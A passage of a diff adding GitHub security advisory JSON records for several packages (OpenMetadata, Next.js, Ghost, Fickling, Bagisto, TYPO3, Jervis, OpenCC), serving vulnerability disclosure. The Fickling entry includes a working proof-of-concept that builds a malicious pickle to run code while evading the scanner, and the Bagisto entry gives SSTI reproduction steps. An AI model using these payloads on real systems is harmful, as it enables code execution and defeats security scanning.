Score\n\n```\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\n```\n\n- **Attack Vector (AV)**: Network (N)\n- **Attack Complexity (AC)**: Low (L) - Simple API requests\n- **Privileges Required (PR)**: High (H) - Admin role required\n- **User Interaction (UI)**: None (N)\n- **Scope (S)**: Changed (C) - Impacts beyond application (server OS)\n- **Confidentiality (C)**: High (H)\n- **Integrity (I)**: High (H)\n- **Availability (A)**: High (H)\n\n**Score**: **9.1 (CRITICAL)**\n\n---\n\n## Remediation\n\n### Immediate Fix (CRITICAL)\n\n**File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Replace lines 38-42 with:**\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n String template = emailTemplate.getTemplate();\n \n if (nullOrEmpty(template)) {\n throw new IOException(\"Template content not found for template: \" + templateName);\n }\n \n // SECURITY FIX: Create sandboxed FreeMarker configuration\n Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);\n \n // Block dangerous built-ins\n cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);\n cfg.setAPIBuiltinEnabled(false);\n cfg.setClassicCompatible(false);\n \n // Restrict template loading\n cfg.setTemplateLoader(new StringTemplateLoader());\n \n return new Template(templateName, new StringReader(template), cfg);\n}\n```\n---", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.open-metadata:platform" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.11.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5f29-2333-h9c7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22244" + }, + { + "type": "WEB", + "url": "https://github.com/open-metadata/OpenMetadata/commit/bffe7c45807763f9b682021d4211c478d2a08bb3" + }, + { + "type": "PACKAGE", + "url": "https://github.com/open-metadata/OpenMetadata" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1336" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-07T19:33:03Z", + "nvd_published_at": "2026-01-08T16:16:02Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5f7q-jpqc-wp7h/GHSA-5f7q-jpqc-wp7h.json b/advisories/github-reviewed/2026/01/GHSA-5f7q-jpqc-wp7h/GHSA-5f7q-jpqc-wp7h.json new file mode 100644 index 0000000000000..5b7bc6824354f --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5f7q-jpqc-wp7h/GHSA-5f7q-jpqc-wp7h.json @@ -0,0 +1,352 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5f7q-jpqc-wp7h", + "modified": "2026-02-05T17:17:16Z", + "published": "2026-01-28T15:20:55Z", + "aliases": [ + "CVE-2025-59472" + ], + "summary": "Next.js has Unbounded Memory Consumption via PPR Resume Endpoint ", + "details": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "16.0.0-beta.0" + }, + { + "fixed": "16.1.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.0.0-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.0.0" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.0.1-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.0.1" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.0.2-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.0.2" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.0.3-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.0.3" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.0.4-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.0.4" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.1.1-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.1.1" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.2.0-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.2.0" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.2.1-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.2.1" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.2.2-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.2.2" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.3.0-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.3.0" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.3.1-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.3.1" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.4.0-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.4.0" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.4.2-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.4.2" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.5.1-canary.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 15.5.1" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "next" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "15.6.0-canary.0" + }, + { + "fixed": "15.6.0-canary.61" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59472" + }, + { + "type": "PACKAGE", + "url": "https://github.com/vercel/next.js" + }, + { + "type": "WEB", + "url": "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-28T15:20:55Z", + "nvd_published_at": "2026-01-26T22:15:53Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5fp7-g646-ccf4/GHSA-5fp7-g646-ccf4.json b/advisories/github-reviewed/2026/01/GHSA-5fp7-g646-ccf4/GHSA-5fp7-g646-ccf4.json new file mode 100644 index 0000000000000..062cbddfa7414 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5fp7-g646-ccf4/GHSA-5fp7-g646-ccf4.json @@ -0,0 +1,94 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5fp7-g646-ccf4", + "modified": "2026-01-11T14:54:23Z", + "published": "2026-01-08T21:29:47Z", + "aliases": [ + "CVE-2026-22594" + ], + "summary": "Ghost has Staff 2FA bypass", + "details": "### Impact\nA vulnerability in Ghost's 2FA mechanism allows staff users to skip email 2FA.\n\n### Vulnerable versions\nThis vulnerability is present in Ghost v5.105.0 to v5.130.5 to and Ghost v6.0.0 to v6.10.3.\n\n### Patches\nv5.130.6 and v6.11.0 contain a fix for this issue.\n\n### References\nGhost thanks Sho Odagiri of GMO Cybersecurity by Ierae, Inc. for discovering and disclosing this vulnerability responsibly.\n\n### For more information\nIf there are any questions or comments about this advisory, email Ghost at [security@ghost.org](mailto:security@ghost.org).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "ghost" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "6.0.0" + }, + { + "fixed": "6.11.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 6.10.3" + } + }, + { + "package": { + "ecosystem": "npm", + "name": "ghost" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.105.0" + }, + { + "fixed": "5.130.6" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 5.130.5" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-5fp7-g646-ccf4" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22594" + }, + { + "type": "WEB", + "url": "https://github.com/TryGhost/Ghost/commit/b59f707f670e6f175b669977724ccf16c718430b" + }, + { + "type": "WEB", + "url": "https://github.com/TryGhost/Ghost/commit/fc7bc2fb0888513498154ec5cb4b21eccb88de07" + }, + { + "type": "PACKAGE", + "url": "https://github.com/TryGhost/Ghost" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-287" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-08T21:29:47Z", + "nvd_published_at": "2026-01-10T03:15:50Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5hvc-6wx8-mvv4/GHSA-5hvc-6wx8-mvv4.json b/advisories/github-reviewed/2026/01/GHSA-5hvc-6wx8-mvv4/GHSA-5hvc-6wx8-mvv4.json new file mode 100644 index 0000000000000..7efe1e7dbd96a --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5hvc-6wx8-mvv4/GHSA-5hvc-6wx8-mvv4.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5hvc-6wx8-mvv4", + "modified": "2026-01-11T14:55:08Z", + "published": "2026-01-09T21:05:13Z", + "aliases": [ + "CVE-2026-22608" + ], + "summary": "Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection", + "details": "# Fickling's assessment\n\n`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).\n\n# Original report\n\n### Summary\nBoth ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE\n\n### Details\nImport: GLOBAL pydoc locate (Allowed).\nResolution: Call locate('ctypes.windll.kernel32.WinExec').\nExecution: Call the result with (b'calc.exe', 1).\n\nTo bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin\n\n### PoC\n```python\nimport os\n\nGLOBAL = b'c'\nSTRING = b'S'\nBININT = b'K'\nTUPLE1 = b'\\x85'\nTUPLE2 = b'\\x86'\nEMPTY_TUPLE = b')'\nREDUCE = b'R'\nPUT = b'p'\nGET = b'g'\nPOP = b'0'\nEMPTY_DICT = b'}'\nSETITEM = b's'\nBUILD = b'b'\nSTOP = b'.'\n\ndef generate_stealth_payload():\n payload = b\"\"\n\n payload += GLOBAL + b\"pydoc\\nlocate\\n\"\n payload += STRING + b\"'ctypes.windll.kernel32.WinExec'\\n\"\n payload += TUPLE1 + REDUCE\n payload += PUT + b\"0\\n\" # Var 0 = <_FuncPtr WinExec>\n payload += POP\n\n payload += GET + b\"0\\n\" \n payload += b\"C\" + b\"\\x08\" + b\"calc.exe\" \n payload += BININT + b\"\\x01\" \n payload += TUPLE2 + REDUCE\n payload += PUT + b\"1\\n\" # Var 1 = Execution Result\n payload += POP\n\n payload += GLOBAL + b\"builtins\\nException\\n\"\n payload += EMPTY_TUPLE + REDUCE\n payload += PUT + b\"2\\n\" # Var 2 = Exception instance\n\n payload += EMPTY_DICT\n payload += STRING + b\"'rce_status'\\n\"\n payload += GET + b\"1\\n\"\n payload += SETITEM # { 'rce_status': result }\n \n payload += BUILD \n \n payload += STOP\n return payload\n\ndata = generate_stealth_payload()\nwith open(\"stealth_ctypes.pkl\", \"wb\") as f:\n f.write(data)\n \nprint(\"Generated 'stealth_ctypes.pkl'\")\n````\n\nWhat fickling sees\n```python\nfrom pydoc import locate\n_var0 = locate('ctypes.windll.kernel32.WinExec')\n_var1 = _var0(b'calc.exe', 1)\n_var2 = Exception()\n_var3 = _var2\n_var3.__setstate__({'rce_status': _var1})\nresult0 = _var3\n```\n\"image\"", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "fickling" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.1.7" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.1.6" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22608" + }, + { + "type": "WEB", + "url": "https://github.com/trailofbits/fickling/pull/195" + }, + { + "type": "WEB", + "url": "https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1" + }, + { + "type": "WEB", + "url": "https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/trailofbits/fickling" + }, + { + "type": "WEB", + "url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145" + }, + { + "type": "WEB", + "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-184", + "CWE-502" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-09T21:05:13Z", + "nvd_published_at": "2026-01-10T02:15:49Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5j4h-4f72-qpm6/GHSA-5j4h-4f72-qpm6.json b/advisories/github-reviewed/2026/01/GHSA-5j4h-4f72-qpm6/GHSA-5j4h-4f72-qpm6.json new file mode 100644 index 0000000000000..e3532a771cdd1 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5j4h-4f72-qpm6/GHSA-5j4h-4f72-qpm6.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5j4h-4f72-qpm6", + "modified": "2026-01-08T21:35:56Z", + "published": "2026-01-02T22:13:40Z", + "aliases": [ + "CVE-2026-21448" + ], + "summary": "Bagisto has Normal & Blind SSTI from low-privilege user when ordering product", + "details": "### Summary\nSSTI when normal customer orders any product in add address step can inject value run in admin view.\n### Details\n`As normal user`\n1. Go to `http://127.0.0.1:8000/`\n2. Add order to cart and continue to checkout \n3. In step of add address inject this value {{7*7}} in any input\n\n`As admin`\n1. Go to `http://127.0.0.1:8000/admin/sales/orders`\n2. And notice the vlaue appear in admin view 49\n\n`As normal user`\n3. Go to add address normally `http://127.0.0.1:8000/customer/account/addresses/create` and inject {{7*7}} on it and will notice it appear 49\n\"image\"\n\n\n### PoC\n - Video attached with the report: https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d\n\n\n### Impact\n- Can lead to RCE", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "bagisto/bagisto" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.3.10" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-5j4h-4f72-qpm6" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21448" + }, + { + "type": "PACKAGE", + "url": "https://github.com/bagisto/bagisto" + }, + { + "type": "WEB", + "url": "https://github.com/bagisto/bagisto/releases/tag/v2.3.10" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1336" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-02T22:13:40Z", + "nvd_published_at": "2026-01-02T21:15:59Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5j7q-wmh7-cqhg/GHSA-5j7q-wmh7-cqhg.json b/advisories/github-reviewed/2026/01/GHSA-5j7q-wmh7-cqhg/GHSA-5j7q-wmh7-cqhg.json new file mode 100644 index 0000000000000..8c95c44150e16 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5j7q-wmh7-cqhg/GHSA-5j7q-wmh7-cqhg.json @@ -0,0 +1,168 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5j7q-wmh7-cqhg", + "modified": "2026-01-13T20:37:30Z", + "published": "2026-01-13T20:37:30Z", + "aliases": [ + "CVE-2025-59020" + ], + "summary": "TYPO3 CMS Allows Broken Access Control in Edit Document Controller", + "details": "### Problem\nBy exploiting the `defVals` parameter, attackers could bypass field‑level access checks during record creation in the TYPO3 backend. This gave them the ability to insert arbitrary data into prohibited exclude fields of a database table for which the user already has write permission for a reduced set of fields.\n\n### Solution\nUpdate to TYPO3 versions 10.4.55 ELTS, 11.5.49 ELTS, 12.4.41 LTS, 13.4.23 LTS, 14.0.2 that fix the problem described.\n\n### Credits\nThanks to Daniel Windloff for reporting this issue, and to TYPO3 core & security team member Benjamin Franzke for fixing it.\n\n### References\n* [TYPO3-CORE-SA-2026-001](https://typo3.org/security/advisory/typo3-core-sa-2026-001)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "typo3/cms-backend" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "14.0.0" + }, + { + "fixed": "14.0.2" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 14.0.1" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "typo3/cms-backend" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "13.0.0" + }, + { + "fixed": "13.4.23" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 13.4.22" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "typo3/cms-backend" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "12.0.0" + }, + { + "fixed": "12.4.41" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 12.4.40" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "typo3/cms-backend" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "11.0.0" + }, + { + "fixed": "11.5.49" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 11.5.48" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "typo3/cms-backend" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.0.0" + }, + { + "fixed": "10.4.55" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 10.4.54" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-5j7q-wmh7-cqhg" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59020" + }, + { + "type": "WEB", + "url": "https://github.com/TYPO3/typo3/commit/ac3f792bd5ab7c58153fc1075cb9e001c9cebe3b" + }, + { + "type": "WEB", + "url": "https://github.com/TYPO3/typo3/commit/cd11a19958d823d12d028f9345b41739c7e70118" + }, + { + "type": "WEB", + "url": "https://github.com/TYPO3/typo3/commit/fb98378a8fd30dd50d89a3d1a420780819f38232" + }, + { + "type": "PACKAGE", + "url": "https://github.com/TYPO3/typo3" + }, + { + "type": "WEB", + "url": "https://typo3.org/security/advisory/typo3-core-sa-2026-001" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T20:37:30Z", + "nvd_published_at": "2026-01-13T12:15:49Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5pq9-5mpr-jj85/GHSA-5pq9-5mpr-jj85.json b/advisories/github-reviewed/2026/01/GHSA-5pq9-5mpr-jj85/GHSA-5pq9-5mpr-jj85.json new file mode 100644 index 0000000000000..79726a921106b --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5pq9-5mpr-jj85/GHSA-5pq9-5mpr-jj85.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5pq9-5mpr-jj85", + "modified": "2026-01-21T16:23:33Z", + "published": "2026-01-13T14:56:04Z", + "aliases": [ + "CVE-2025-68925" + ], + "summary": "Jervis Has a JWT Algorithm Confusion Vulnerability", + "details": "### Vulnerability\n\nhttps://github.com/samrocketman/jervis/blob/157d2b63ffa5c4bb1d8ee2254950fd2231de2b05/src/main/groovy/net/gleske/jervis/tools/SecurityIO.groovy#L244-L249\n\nThe code doesn't validate that the JWT header specifies `\"alg\":\"RS256\"`.\n\n### Impact\n\nDepending on the broader system, this could allow JWT forgery.\n\nInternally this severity is low since JWT is only intended to interface with GitHub. External users should consider severity moderate.\n\n### Patches\n\nJervis patch will explicitly verify the algorithm in the header matches expectations and further verify the JWT structure.\n\nUpgrade to Jervis 2.2.\n\n### Workarounds\n\nExternal users should consider using an alternate JWT library or upgrade.\n\n### References\n\n- [RFC 7518: JSON Web Algorithms](https://datatracker.ietf.org/doc/html/rfc7518)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "net.gleske:jervis" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/samrocketman/jervis/security/advisories/GHSA-5pq9-5mpr-jj85" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68925" + }, + { + "type": "WEB", + "url": "https://github.com/samrocketman/jervis/commit/c3981ff71de7b0f767dfe7b37a2372cb2a51974a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/samrocketman/jervis" + }, + { + "type": "WEB", + "url": "https://github.com/samrocketman/jervis/blob/157d2b63ffa5c4bb1d8ee2254950fd2231de2b05/src/main/groovy/net/gleske/jervis/tools/SecurityIO.groovy#L244-L249" + }, + { + "type": "WEB", + "url": "http://github.com/samrocketman/jervis/commit/c3981ff71de7b0f767dfe7b37a2372cb2a51974a" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T14:56:04Z", + "nvd_published_at": "2026-01-13T20:16:07Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5pr6-crvp-2j9f/GHSA-5pr6-crvp-2j9f.json b/advisories/github-reviewed/2026/01/GHSA-5pr6-crvp-2j9f/GHSA-5pr6-crvp-2j9f.json new file mode 100644 index 0000000000000..f07d989af7319 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5pr6-crvp-2j9f/GHSA-5pr6-crvp-2j9f.json @@ -0,0 +1,93 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5pr6-crvp-2j9f", + "modified": "2026-02-06T22:32:12Z", + "published": "2026-01-18T09:30:27Z", + "aliases": [ + "CVE-2025-15536" + ], + "summary": "Open Chinese Convert has Out-of-bounds Write", + "details": "A weakness has been identified in BYVoid OpenCC up to 1.1.9. This vulnerability affects the function opencc::MaxMatchSegmentation of the file src/MaxMatchSegmentation.cpp. This manipulation causes heap-based buffer overflow. The attack is restricted to local execution. The exploit has been made available to the public and could be used for attacks. Patch name: 345c9a50ab07018f1b4439776bad78a0d40778ec. To fix this issue, it is recommended to deploy a patch.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "opencc" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.2.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.1.9" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15536" + }, + { + "type": "WEB", + "url": "https://github.com/BYVoid/OpenCC/issues/997" + }, + { + "type": "WEB", + "url": "https://github.com/BYVoid/OpenCC/pull/1005" + }, + { + "type": "WEB", + "url": "https://github.com/BYVoid/OpenCC/commit/345c9a50ab07018f1b4439776bad78a0d40778ec" + }, + { + "type": "PACKAGE", + "url": "https://github.com/BYVoid/OpenCC" + }, + { + "type": "WEB", + "url": "https://github.com/oneafter/1222/blob/main/repro" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?ctiid.341708" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?id.341708" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?submit.733347" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-119", + "CWE-787" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-02-06T22:32:12Z", + "nvd_published_at": "2026-01-18T09:15:46Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5qw5-wf2q-f538/GHSA-5qw5-wf2q-f538.json b/advisories/github-reviewed/2026/01/GHSA-5qw5-wf2q-f538/GHSA-5qw5-wf2q-f538.json new file mode 100644 index 0000000000000..336db0b148a09 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5qw5-wf2q-f538/GHSA-5qw5-wf2q-f538.json @@ -0,0 +1,67 @@ +{ + 